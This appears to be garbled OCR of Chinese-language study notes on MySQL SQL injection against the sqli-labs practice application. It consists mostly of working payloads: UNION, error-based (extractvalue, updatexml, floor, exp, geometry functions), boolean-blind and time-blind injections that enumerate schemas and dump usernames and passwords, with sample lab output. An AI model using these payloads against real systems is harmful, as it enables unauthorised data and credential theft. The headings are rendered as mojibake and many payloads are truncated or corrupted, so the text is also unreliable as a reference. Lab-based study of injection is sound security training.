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UNION query SQL injection (AIEE&EHIIEN)
Error-based SQL injection (IREEZIEN)

B P AR\ A FR ]
extractvalue()
updatexml()

floor()

exp()
GeometryCollection()
linestring()

polygon()

multipoint()
multipolygon()

multilinestring()

3. Boolean-based blind SQL injection (i /REEN)

1. AWK
2. FBMAE

4. Time-based blind SQL injection (& Fi /B ZEBEN)

Sleep()
Benchmark(ket,)
/R Writeup
GET_LOCK Writeup
RLIKE

5. Stacked queries SQL injection (F] &) A HIENHEBEN)
6. HEHEA

BE55%

1. httpkFEA

1. User-Agent kFZBEN
2. Referer Sk ZBIEAN

3. Cookie kFEIEAN

4. ZIREN

0. EEMRE



version()
CEYELEIQ)
user()
current_user()
system_user()
@@datadir

@@version_compile os

0. Mysql#%F & B

length()
substring()
substr()
mid()

left()
concat()
concat_ws()
group_conat()
ord()
ascii()
hex()

unhex ()
md5 ()
floor(x)
round()
rand()
load_file()
sleep()
if(true,t,f)
find_in_set()
benchmark()




0. EENEIEE

information_schema

0. EEHR

schemata
schema_name

tables
table_schema

table_name

columns

column_name




1. UNION query SQL injection (RJEX& & #IEN)

R ERTE EEMRR
R BAREE AL

1. AWisqlig s —3L&E T £ 45

order by 3

2. BEFEERNM

union select 1,2,3

3. BEE

union select 1,version(),database()




@ 192.168.111.128/sqli-labs-master/Le

/?id3-1" union select rsion(),database()--+

Welcome
Your Login name:5.5.53
Your Password:security

4. BEA

union select 1,database(),schema_name from information_schema.schemata limit 0,1
union select 1,database(),group_concat(schema_name) from information_schema.schemata

5. B4

union select 1,database(),(select table name from information_schema.tables where table schema databa
union select 1,database(),(select group concat(table name) from information_schema.tables where table_s

6. B34

union select 1,database(),( select column_name from information_schema.columns where table schema =data

union select 1,database(),( select group_concat(column_name) from information_schema.columns where tabl

7. BB



union select 1,database(),concat(id,0@x7e,username,@x3A,password,0x7e) from users limit 0,1

union select 1,database(), (select group concat(concat(id,@x7e,username,@x3A,password,@x7e)) from users)

2. Error-based SQL injection (F{®&EHHEN)

B8 P 4B N R A PR
AR H|/ERE (RRAET5.0.96. 5.1.60. 55.29. 57.26. 8.0.12)
extractvalue 5.1.60. 5.5.29. 5.7.26. 8.0.12
updatexml 5.1.60. 5.5.29, 5.7.26. 8.0.12
floor 5.0.96. 5.1.60. 5.5.29. 5.7.26
exp 5.5.29
GeometryCollection 5.1.60. 5.5.29
linestring 5.1.60. 5.5.29
polygon 5.1.60. 5.5.29
multipoint 5.1.60. 5.5.29
multipolygon 5.1.60. 5.5.29
multilinestring 5.1.60. 5.5.29

R DAEBIEEREER
extractvalue()

1. BEE

extractvalue(1,concat(0x7e, (select database()),0x7e))

2. BEH



extractvalue(1,concat(@x7e, (select schema_name from information_schema.schemata limit 0,1),0x7e))

3. B4

extractvalue(1,concat(0x7e, (select table name from information_schema.tables where table_schema=dat

4. B34

extractvalue(1,concat(@x7e,( select column_name from information_schema.columns where table_schema

5. BEUR

extractvalue(1,concat(0x7e,( select concat(id,@x7e,username,@x7e,password) from users limit 0,1),0x

updatexmi()
1. BEE

updatexml (1, concat(0x7e, (select version()),0x7e),3)

2. BEA



updatexml (1, concat(@x7e, (select schema _name from information_schema.schemata limit ©0,1),0x7e),3)

3. B4

updatexml (1, concat(@x7e, (select table name from information_schema.tables where table schema=databa

4. R4

updatexml(1,concat(@x7e,( select column_name from information_schema.columns where table_schema =da

5. BEE

updatexml (1, concat(0x7e,( select concat(id,@x7e,username,@x7e,password) from users limit 0,1),0x7e)

floor()

1. BB

(select 1 from(select count(*),concat((select (select (select concat(©x7e,database(),0x7e))) from in

2. BEH



(select 1 from(select count(*),concat((select (select (SELECT distinct concat(@x7e,schema_name,@x7e)

3. B4

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(©x7e,table name,@x7e)

4. R4

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(@x7e,column_name,0x7e)

5. BEURE

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(®x23,username,®x3a,pas

exp()

(select exp(~(select from(select version())x)));




Welcome
DOUBLE value is out of range in "exp(~((select '5.5.29" from dual)))’

geometrycollection((select from(select from(select version())a)b));

Welcome
lllegal non geometric '(select "b.’version()” from (select '5.5.29" AS “version()” from dual) 'b")' value found during parsing

linestring((select from(select from(select version())a)b));

Welcome
lllegal non geometric '(select "b".'version()” from (select '5.5.29' AS “version()” from dual) "b’)’ value found during parsing

polygon((select * from(select * from(select version())a)b));

Welcome
lllegal non geometric '(select "b". version()” from (select '5.5.29" AS “version()” from dual) "b’)’ value found during parsing




multipoint((select from(select from(select version())a)b));

Welcome
lllegal non geometric ‘(select "b™.'version()” from (select '5.5.29" AS “version()" from dual) "b")’ value found during parsing

multipolygon((select from(select from(select version())a)b));

Welcome
lllegal non geometric '(select "b"."version()” from (select '5.5.29' AS “version()” from dual) "b’)’ value found during parsing

multilinestring((select * from(select * from(select version())a)b));

Welcome
lllegal non geometric '(select "b".'version()” from (select '5.5.29" AS “version()” from dual) "b’)’ value found during parsing
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length(database())=8




2. Al SErHIEERFILKE

((select count(*) from information_schema.tables where table_schema=database())=4)

3. AWM RKRIKE

length((select table_name from information_schema.tables where table_schema=database() limit 0,1)

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

4. HWr&E" users " 5 H

((select count(*) from information_schema.columns where table_schema=database() table_name

41. HAWEKRRAFE (LT ALK users "HHl)

((select count(*) from information_schema.columns where table schema=database() table_name=(sel

5. BT 5 5 R L X B B 7 B B O B K



length((select username from users where id =1))=4

length((select password from users where id =1))=4

2. FUAE
1. 5530 2 50 BUE 4 7

ascii(substr((select database()),1))=115

2. BFHEKRKERS (FRusersfL THENUA)

Welcome
Your Login name:emails,referers,uagents,users
Your Password:3

ascii(substr((select table _name from information_schema.tables where table_schema=database() limit

3. BHEKLZHRKEANHLZ (LlusernameHl, HFHE =4

Welcome
Your Login name:id,username,password
Your Password:3

ascii(substr((select column_name from information_schema.columns where table_schema=database()




31, BWEXKKRENEANFEL (LLER" users “BE B ” username " A H1)

ascii(substr((select column_name from information_schema.columns where table_schema=database()

4. FEW 5k % B %) 4 A" username "HI I

ascii(substr((select username from users where id =1 ),2))=117

ascii(substr((select username from users limit 0,1),1)) 68

4. Time-based blind SQL injection (3& T i 8] ZER N )
1. A RHW

sleep(5)

2, if(ExR, 1, 1H2)
A5 EEEE, ERETHENERE

if(length(database())=8,sleep(5),1)




Sleep()

sleep(5);

Benchmark(ket,)

benchmark (10000000, sha(1));

H R /R Writeup

SEIBTKEH, count()S(E AR, #MEEE. count()EE/NR, B K.

(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schem

GET_LOCK Writeup

R SER RSB AT 2
R MRARKER, TEANEHBERRST

R WWRFBAERI TR T, 2 2R3 BEAT FIT(0=1). 7 NAIERHBEAT FIMT (1=1)

get_lock( ,3)=1

RLIKE



select rpad( ,4999999, ) concat(repeat(

5. Stacked queries SQL injection (7] £ i&A) B #IENMEBIEN)
6. HEEA

1. httpkEEAN

BiR: REERNIKS HEEEHN

1. User-Agent Sk FBEA

Less-18

2. Referer L E£EiEAN

Less-19

3. Cookie kFBRIEA

Less-20

4. —REAN



Less-24
1. BIE—/ X R P #. SOXANFRIENE P EL, SN ZELRSE R, XAFEN P EES A E
filtm -

username

Dumhb

Angelina I-kill-you
Dunmy plEzsword
secure crappy
stupid stupidity
supernan genious
hatman mohtle

admin [RIMIN]
adminl i adminl
admin2 admin2
admin3 admin3
dhakkan dumbo
admin4 admin4
adminit 666
admin'# 233
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